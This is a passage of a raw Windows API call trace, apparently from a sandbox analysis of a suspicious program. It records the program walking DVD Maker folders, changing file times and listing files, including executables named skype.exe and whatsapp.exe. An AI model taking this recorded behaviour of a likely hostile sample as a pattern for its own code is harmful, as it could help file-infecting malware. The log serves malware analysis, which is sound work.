ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1 [0245.433] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.433] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.433] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.433] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x93f3f0 [0245.433] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x93f3f0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x93f3f0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.433] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x93f3f0) returned 1 [0245.433] NtClose (Handle=0x170) returned 0x0 [0245.433] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.434] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.434] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927368 [0245.434] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9273f0 [0245.434] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.438] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.438] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.438] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.438] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.438] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927368) returned 1 [0245.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934b50 [0245.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93d958 [0245.438] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.438] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.438] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.438] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.438] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f50f0 [0245.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x934b70 [0245.439] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93da60 [0245.439] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f50f0) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0245.439] GetLastError () returned 0x12 [0245.439] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.439] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.439] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.440] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.440] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.440] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.440] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.440] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0245.440] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0245.440] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0245.440] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0245.440] GetLastError () returned 0x12 [0245.440] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9273f0) returned 1 [0245.440] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.441] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.441] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.441] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0245.441] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0245.441] GetLastError () returned 0x12 [0245.441] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926ae8) returned 1 [0245.441] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0245.441] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0245.441] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926598) returned 1 [0245.441] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0245.441] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0245.441] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0245.441] GetLastError () returned 0x12 [0245.441] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926510) returned 1 [0245.441] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0245.441] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926488) returned 1 [0245.441] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925eb0) returned 1 [0245.441] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad643f40, ftCreationTime.dwHighDateTime=0x1d54dc2, ftLastAccessTime.dwLowDateTime=0xce3e43f0, ftLastAccessTime.dwHighDateTime=0x1d58468, ftLastWriteTime.dwLowDateTime=0xce3e43f0, ftLastWriteTime.dwHighDateTime=0x1d58468, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0245.441] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0245.442] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0245.442] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e36a70, ftCreationTime.dwHighDateTime=0x1d5b811, ftLastAccessTime.dwLowDateTime=0x61331cd0, ftLastAccessTime.dwHighDateTime=0x1d5390f, ftLastWriteTime.dwLowDateTime=0x61331cd0, ftLastWriteTime.dwHighDateTime=0x1d5390f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1 [0245.442] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, 